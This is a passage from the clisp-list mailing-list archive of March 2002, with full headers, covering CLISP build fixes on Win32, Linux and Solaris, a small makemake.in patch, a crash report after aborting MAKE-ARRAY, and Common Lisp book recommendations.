run install.bat there. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Why use Windows, when there are Doors? From samuel.steingold@verizon.net Sat Mar 02 22:36:24 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hPbb-0004He-00 for ; Sat, 02 Mar 2002 22:36:23 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020303063621.YJDN28131.out016.verizon.net@gnu.org>; Sun, 3 Mar 2002 00:36:21 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[6]: [clisp-list] next release References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> <56483214.20020303015536@ich.dvo.ru> <972598656.20020303104043@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <972598656.20020303104043@ich.dvo.ru> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 2 22:37:03 2002 X-Original-Date: 03 Mar 2002 01:31:56 -0500 Hi Arseny, > * In message <972598656.20020303104043@ich.dvo.ru> > * On the subject of "Re[6]: [clisp-list] next release" > * Sent on Sun, 3 Mar 2002 10:40:43 +1000 > * Honorable Arseny Slobodjuck writes: > > It seems to me that Makefile was revised to remove use of such > utilities for win32 since last year, is it ? i do not recall it. when? what ChangeLog entry? CVS revision? > Another problem is data dependency. VC nmake looks to data directory > creation date and does nothing if it exists (but files in it may be > obsolete). I don't know whether it is a big problem. this is not a big deal. > clhs working now. good. I _think_ I fixed the problems you mention in the makemake.in in the CVS. please regenerate your makefile and try again. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who can laugh at themselves will never cease to be amused. From dodi_froti@hotmail.com Sun Mar 03 01:34:11 2002 Received: from f183.law14.hotmail.com ([64.4.21.183] helo=hotmail.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hSNa-0008Ng-00 for ; Sun, 03 Mar 2002 01:34:06 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 3 Mar 2002 01:22:29 -0800 Received: from 62.3.20.3 by lw14fd.law14.hotmail.msn.com with HTTP; Sun, 03 Mar 2002 09:22:29 GMT X-Originating-IP: [62.3.20.3] From: "lovely Kitten" To: elyas@tri.net.sa, amalnet_2001@hotmail.com, clisp@arcangel.dircon.co.uk, clisp-list@lists.sourceforge.net Cc: depot@cise.ufl.edu Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 03 Mar 2002 09:22:29.0852 (UTC) FILETIME=[F111F9C0:01C1C294] Subject: [clisp-list] hi,I need help plz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 01:35:06 2002 X-Original-Date: Sun, 03 Mar 2002 09:22:29 +0000 Hi, This is the link for the page: http://www.cs.caltech.edu/~cs20/tools.html The download link you will see it in this page is: Clisp2.27 for win32(2MB). please Download the program and tri to make the setup process and send clear steps to me. note:This link will help you: http://sandbox.mc.edu/~bennet/cs404/lisp.html Thank you. _________________________________________________________________ Join the world’s largest e-mail service with MSN Hotmail. http://www.hotmail.com From ampy@ich.dvo.ru Sun Mar 03 02:16:41 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hT2g-0005YD-00 for ; Sun, 03 Mar 2002 02:16:34 -0800 Received: (qmail 20335 invoked from network); 3 Mar 2002 10:16:19 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 3 Mar 2002 10:16:19 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sun, 03 Mar 2002 20:15:01 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <543102411.20020303201536@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[8]: [clisp-list] next release In-reply-To: References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> <56483214.20020303015536@ich.dvo.ru> <972598656.20020303104043@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 02:17:13 2002 X-Original-Date: Sun, 3 Mar 2002 20:15:36 +1000 Hello Sam, Sunday, March 03, 2002, 4:31:56 PM, you wrote: >> It seems to me that Makefile was revised to remove use of such >> utilities for win32 since last year, is it ? Sam> i do not recall it. Sam> when? Sam> what ChangeLog entry? Sam> CVS revision? I remember that when I tried compile clisp on win32 for the first time, it was impossible to compile without cp, sed and uniq. I didn't tried recently w/o utilities, but at least cp was changed to copy. Uniq was removed at all. Sed is called on distrib stage only. In last patch you removed call to rm and added del instead. That's what I mean. Sam> I _think_ I fixed the problems you mention in the makemake.in in the Sam> CVS. Sam> please regenerate your makefile and try again. Genialno. Works. Del asks permission to delete files by pattern, so it needs the /q switch: Index: makemake.in =================================================================== RCS file: /cvsroot/clisp/clisp/src/makemake.in,v retrieving revision 1.226 diff -u -r1.226 makemake.in --- makemake.in 3 Mar 2002 06:34:17 -0000 1.226 +++ makemake.in 3 Mar 2002 09:11:42 -0000 @@ -612,7 +612,7 @@ # RM = command for deleting files if [ $H_DOS = "true" ] ; then - RM='del' + RM='del /q' else if [ $HOS = acorn ] ; then RM='remove' Problems with make check (I didn't make check with newly generated makefile until now): francais spanish comp.exe returns error on compare (because of gensyms). I never went further, but now when I changing comp to -comp, testsuite doesn't work: copy doesn't take arbitrary number of args: mkdir suite cd suite && copy ..\..\tests\Makefile ..\..\tests\*.lisp ..\..\tests\*.tst . Recently I created separate makefile for tests and it was passed. This is not vitally important though. WARNING: INTERN("STOREFORM"): # is locked Ignore the lock and proceed Is that normal ? A lot of such warnings prints out during make check. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From lin8080@freenet.de Sun Mar 03 07:08:37 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hXbI-0003q1-00 for ; Sun, 03 Mar 2002 07:08:36 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16hXbE-0002pc-00 for clisp-list@lists.sourceforge.net; Sun, 03 Mar 2002 16:08:32 +0100 Received: from b78dd.pppool.de ([213.7.120.221] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16hXbE-0006f0-00 for clisp-list@lists.sourceforge.net; Sun, 03 Mar 2002 16:08:32 +0100 Message-ID: <3C823BDE.1562D8B8@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Can I ask??plz Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 07:09:06 2002 X-Original-Date: Sun, 03 Mar 2002 16:06:06 +0100 > * In message <20020302211105.52015.qmail@web14603.mail.yahoo.com> > * On the subject of "Re: [clisp-list] Can I ask??plz" > * Sent on Sat, 2 Mar 2002 13:11:05 -0800 (PST) > * Honorable Klaus Momberger writes: > > Get Paul Graham's "ANSI Common Lisp" book. Graham Paul ANSI common lisp ISBN 3-8272-9542-2 (German-Version) S.510 1997 Translaters: Stefan Landvogt & Stefan Bamberger c 1997 Prentice Hall PTR http://www.prenhall.com >> I found "Object Oriented Common Lisp" by Stephen Slade more useful as >> a tutorial. Sam, is there anything terribly wrong with it ? > I have never seen the book. > I have never heard anything bad about it. "...simply the most effective way to learn LISP." Slade, Stephen Object-Oriented common LISP ISBN 0-13-605940-6 (alk.paper) 1. Object-oriented programming (Computer science) 2.COMMON LISP (Computer program language S.576 1997 Editoral/Production Supervision: Kathleen M.Caren Acquisitions Editor: Gregory G.Doench Editorial Assistant: Mary Treacy c 1998 Prentice Hall PTR http://www.prenhall.com - may be this goes to the docus for the 2.28 version ? stefan From emarsden@laas.fr Sun Mar 03 09:39:18 2002 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16hZx3-0008HG-00 for ; Sun, 03 Mar 2002 09:39:14 -0800 Received: from melbourne.laas.fr (melbourne [140.93.21.103]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g23Hd4Ap021553 for ; Sun, 3 Mar 2002 18:39:04 +0100 (CET) Received: from emarsden by melbourne.laas.fr with local (Exim 3.34 #1 (Debian)) id 16hZwu-0008E9-00 for ; Sun, 03 Mar 2002 18:39:04 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Message-Flags: Insufficient vodka to complete operation X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ In-Reply-To: (Sam Steingold's message of "01 Mar 2002 21:33:55 -0500") Message-ID: Lines: 57 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 09:40:03 2002 X-Original-Date: Sun, 03 Mar 2002 18:39:04 +0100 >>>>> "Sam" == Sam Steingold writes: Sam> I tested it on Linux and FreeBSD. on Linux, I get an error during "make install". I build in a private directory (last argument to configure is the directory /tmp/clisp-gcc). Build and tests work fine (including modules wildcard and regexp and --export-syscalls), then in the /tmp/clisp-gcc directory, ,---- | % sudo make install | test -d /usr/local || mkdir /usr/local | test -d /usr/local || mkdir /usr/local | test -d /usr/local/lib || mkdir /usr/local/lib | test -d /usr/local/lib/clisp || mkdir /usr/local/lib/clisp | test -d /usr/local/lib/clisp/data || mkdir /usr/local/lib/clisp/data | /usr/bin/install -c -m 644 data/UnicodeData.txt /usr/local/lib/clisp/data/UnicodeData.txt | /usr/bin/install: cannot stat `data/UnicodeData.txt': No such file or directory | make: *** [install-bin] Error 1 | % ls -l data | total 0 | 0 lrwxrwxrwx 1 emarsden tsf 73 Mar 3 18:24 UnicodeData.txt -> ..//opt/src/cvs-clisp/clisp/utils/unicode/ftp.unicode.org/UnicodeData.txt | 0 lrwxrwxrwx 1 emarsden tsf 40 Mar 3 18:24 clhs.txt -> ..//opt/src/cvs-clisp/clisp/src/clhs.txt | % `---- I ran configure from the directory /opt/src/cvs-clisp/clisp. Sam> There will be _NO_ release until I get confirmation from the users that Sam> the current CVS CLISP compiles out of the box on at least win32 and Sam> Solaris. is the FFI supposed to work on Solaris? I generally build without it, but I just tried to build with the regexp and wildcard modules, and it fails with ,---- | /tmp/clisp-gcc/lisp.run -M /tmp/clisp-gcc/lispinit.mem -B /tmp/clisp-gcc -N /tmp/clisp-gcc/locale -Efile UTF-8 -norc -q -c regexp.lisp | Compiling file /tmp/clisp-gcc/regexp/regexp.lisp ... | *** - There is no package with name "FFI" `---- This is on SunOS 5.7 with gcc 2.95.2. The avcall stuff seems to have compiled ok: ,---- | /tmp/clisp-gcc$ cat avcall/minitests.output.sparc-sun-solaris2.7 | Int f(Int,Int,Int):({1},{2},{3})->{6} | Int f(Int,Int,Int):({1},{2},{3})->{9} | J f(J,int,J):({47,11},2,{73,55})->{120,68} | J f(J,int,J):({47,11},2,{73,55})->{9,902231815} `---- -- Eric Marsden From samuel.steingold@verizon.net Sun Mar 03 09:51:01 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ha8S-0004Mw-00 for ; Sun, 03 Mar 2002 09:51:00 -0800 Received: from gnu.org ([151.203.224.254]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020303175059.QXTQ12982.out008.verizon.net@gnu.org>; Sun, 3 Mar 2002 11:50:59 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[8]: [clisp-list] next release References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> <19224769176.20020301161857@ich.dvo.ru> <56483214.20020303015536@ich.dvo.ru> <972598656.20020303104043@ich.dvo.ru> <543102411.20020303201536@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <543102411.20020303201536@ich.dvo.ru> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 09:51:07 2002 X-Original-Date: 03 Mar 2002 12:46:29 -0500 Hi Arseny > * In message <543102411.20020303201536@ich.dvo.ru> > * On the subject of "Re[8]: [clisp-list] next release" > * Sent on Sun, 3 Mar 2002 20:15:36 +1000 > * Honorable Arseny Slobodjuck writes: > > - RM='del' > + RM='del /q' done > Problems with make check (I didn't make check with newly generated > makefile until now): > francais > spanish > comp.exe returns error on compare (because of gensyms). that's okay. > I never went further, but now when I changing comp to > -comp, testsuite doesn't work: copy doesn't take arbitrary > number of args: fixed. > WARNING: > INTERN("STOREFORM"): # is locked > Ignore the lock and proceed this is normal when running "make test" -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! MS Windows: error: the operation completed successfully. From rurban@x-ray.at Sun Mar 03 12:08:25 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16hcHP-000121-00 for ; Sun, 03 Mar 2002 12:08:23 -0800 Received: from [62.46.177.40] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16hcHI-0006pB-00; Sun, 03 Mar 2002 21:08:17 +0100 Message-ID: <3C8282B3.32BFA703@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: Klaus Momberger CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can I ask??plz References: <20020302211105.52015.qmail@web14603.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 12:14:44 2002 X-Original-Date: Sun, 03 Mar 2002 20:08:19 +0000 Klaus Momberger schrieb: > > Get Paul Graham's "ANSI Common Lisp" book. > > > I found "Object Oriented Common Lisp" by Stephen Slade > more useful as a tutorial. Sam, is there anything > terribly wrong with it ? nothing wrong with it. just that I don't like it that much and that most others are much better. Slade is fine for starting a real-world CLOS project, but Keene and Kiczales are much better. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From klaus_momberger@yahoo.com Sun Mar 03 12:29:01 2002 Received: from web14604.mail.yahoo.com ([216.136.224.84]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hcbL-0005Mz-00 for ; Sun, 03 Mar 2002 12:28:59 -0800 Message-ID: <20020303202859.34490.qmail@web14604.mail.yahoo.com> Received: from [212.172.8.37] by web14604.mail.yahoo.com via HTTP; Sun, 03 Mar 2002 12:28:59 PST From: Klaus Momberger Subject: Re: [clisp-list] Can I ask??plz To: Reini Urban Cc: clisp-list@lists.sourceforge.net In-Reply-To: <3C8282B3.32BFA703@x-ray.at> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 12:30:03 2002 X-Original-Date: Sun, 3 Mar 2002 12:28:59 -0800 (PST) Hello, I justed wanted to "advertise" this book as a good introductory tutorial, I think it is a pity that hardly anybody knows about it. I agree that it is not a CLOS book, the title is misleading. -Klaus --- Reini Urban wrote: > Klaus Momberger schrieb: > > > Get Paul Graham's "ANSI Common Lisp" book. > > > > > I found "Object Oriented Common Lisp" by Stephen > Slade > > more useful as a tutorial. Sam, is there anything > > terribly wrong with it ? > > nothing wrong with it. just that I don't like it > that much and > that most others are much better. > Slade is fine for starting a real-world CLOS > project, > but Keene and Kiczales are much better. > -- > Reini Urban > http://xarch.tu-graz.ac.at/home/rurban/ > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list __________________________________________________ Do You Yahoo!? Yahoo! Sports - sign up for Fantasy Baseball http://sports.yahoo.com From cshapiro@panix.com Sun Mar 03 15:23:01 2002 Received: from mail1.panix.com ([166.84.1.72]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hfJl-0001h8-00 for ; Sun, 03 Mar 2002 15:23:01 -0800 Received: from panix3.panix.com (panix3.panix.com [166.84.1.3]) by mail1.panix.com (Postfix) with ESMTP id B91064897C for ; Sun, 3 Mar 2002 18:22:59 -0500 (EST) Received: (from cshapiro@localhost) by panix3.panix.com (8.11.3nb1/8.8.8/PanixN1.0) id g23NMxE27403; Sun, 3 Mar 2002 18:22:59 -0500 (EST) Message-Id: <200203032322.g23NMxE27403@panix3.panix.com> X-Authentication-Warning: panix3.panix.com: cshapiro set sender to cshapiro@panix.com using -f From: Carl Shapiro To: clisp-list@lists.sourceforge.net Reply-To: cshapiro@panix.com Subject: [clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 15:24:02 2002 X-Original-Date: Sun, 3 Mar 2002 18:22:59 -0500 (EST) I am having some stability problems with CLISP. Specifically, aborting MAKE-ARRAY seems to leave CLISP in an unstable state. Has anyone else encountered similar problems when aborting MAKE-ARRAY? I have included below a simple, reproducible example of the lossage I am experiencing. zzz$ uname -a NetBSD zzz 1.5.2 NetBSD 1.5.2 (BRAIN) #1: Sat Sep 29 12:44:54 EDT 2001 root@zzz:/u1/src/sys/arch/i386/compile/BRAIN i386 zzz$ clisp --version [1]> GNU CLISP 2.27 (released 2001-07-17) (built on zzz) zzz$ clisp -q -I [1]> (make-array 10000000) ^C ** - Continuable Error PRINT: User break If you continue (by typing 'continue'): Continue execution 1. Break [2]> :bt - NIL 1. Break [2]> :a [3]> (ext:gc) 3672424 [4]> (ext:gc) Segmentation fault zzz$ From ortmage@gmx.net Sun Mar 03 17:09:45 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hgz1-00056J-00 for ; Sun, 03 Mar 2002 17:09:43 -0800 Received: (qmail 15944 invoked by uid 0); 4 Mar 2002 01:09:33 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.192] Message-ID: <32572.1015204173@www13.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] General question regarding adding new features to clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 17:10:22 2002 X-Original-Date: Mon, 4 Mar 2002 02:09:33 +0100 (MET) Before I ask my question, I should introduce myself. I am Scott Williams, a Senior in High School from Loveland Colorado. I've been programming for a long time (too long to really make a difference how long), and I recently picked up Lisp as a language. And now I'm hooked. (The story is longer, but of dubious interest to the real world :o) I've been watching the list for a while and keeping up with CVS versions of clisp. But I'm disappointed by the lack of imaging support in Lisp, and rather than just complain, I think it would make an interesting learning experience and possibly a useful contribution to the clisp community if I were to endow clisp with some image processing bindings (such as load, blur, composite, and so forth). To avoid the long ordeal of inventing for myself the whole art of imaging, I'm inclined to integrate ImageMagick into the project (though I haven't looked too far into the licenses of either clisp or ImageMagic yet and can't say if this is even possible... perhaps someone already knows?). As for the question: Is there any demand at all for this in the wider world? Has someone already done it? (I looked around and couldn't really find anything that would allow one to load an image and manipulate it painlessly.) Should I integrate it into the clisp source tree as a module, or distribute it as a seperate module and have the user link it in after lisp.run has already been installed? Or (the horror) write everything natively in Lisp? -Scott -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From samuel.steingold@verizon.net Sun Mar 03 18:26:32 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hiBL-0003vG-00 for ; Sun, 03 Mar 2002 18:26:31 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304022629.SKIQ9330.out011.verizon.net@gnu.org>; Sun, 3 Mar 2002 20:26:29 -0600 To: Eric Marsden Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 18:27:02 2002 X-Original-Date: 03 Mar 2002 21:21:22 -0500 > * In message > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on Sun, 03 Mar 2002 18:39:04 +0100 > * Honorable Eric Marsden writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> I tested it on Linux and FreeBSD. > > | % ls -l data > | total 0 > | 0 lrwxrwxrwx 1 emarsden tsf 73 Mar 3 18:24 UnicodeData.txt -> ..//opt/src/cvs-clisp/clisp/utils/unicode/ftp.unicode.org/UnicodeData.txt > | 0 lrwxrwxrwx 1 emarsden tsf 40 Mar 3 18:24 clhs.txt -> ..//opt/src/cvs-clisp/clisp/src/clhs.txt okay - fixed, please try again. (this "try again", unfortunately, includes those of you, who have already tested the latest CVS CLISP and reported success. sorry guys. )-: > Sam> There will be _NO_ release until I get confirmation from the users that > Sam> the current CVS CLISP compiles out of the box on at least win32 and > Sam> Solaris. > > is the FFI supposed to work on Solaris? yes. > I generally build without it, but I just tried to build with the > regexp and wildcard modules, and it fails with > > ,---- > | /tmp/clisp-gcc/lisp.run -M /tmp/clisp-gcc/lispinit.mem -B /tmp/clisp-gcc -N /tmp/clisp-gcc/locale -Efile UTF-8 -norc -q -c regexp.lisp > | Compiling file /tmp/clisp-gcc/regexp/regexp.lisp ... > | *** - There is no package with name "FFI" > `---- try $ ./configure --with-dynamic-ffi -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! A man paints with his brains and not with his hands. From ampy@ich.dvo.ru Sun Mar 03 18:53:54 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hibd-0006LT-00 for ; Sun, 03 Mar 2002 18:53:41 -0800 Received: (qmail 7370 invoked from network); 4 Mar 2002 02:53:29 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 4 Mar 2002 02:53:29 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Mon, 04 Mar 2002 12:52:25 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <134271576967.20020304125224@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Subject: [clisp-list] object_tab_ missing printstring_hash_table Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 18:54:06 2002 X-Original-Date: Mon, 4 Mar 2002 12:52:24 +1000 Hi, It's strange, I'm compiling on the other computer and get this: Yesterday all was ok... io.i.c io.d(8666) : error C2039: 'printstring_hash_table' : is not a member of 'object_tab_' lispbibl.d(8320) : see declaration of 'object_tab_' io.d(8666) : error C2198: 'pr_hex6_obj' : too few actual parameters NMAKE : fatal error U1077: 'cl' : return code '0x2' Stop. Best Regards, Arseny From samuel.steingold@verizon.net Sun Mar 03 19:30:17 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hjB2-0001KI-00 for ; Sun, 03 Mar 2002 19:30:16 -0800 Received: from gnu.org ([151.203.224.254]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304033014.SWQF12982.out008.verizon.net@gnu.org>; Sun, 3 Mar 2002 21:30:14 -0600 To: cshapiro@panix.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state? References: <200203032322.g23NMxE27403@panix3.panix.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: 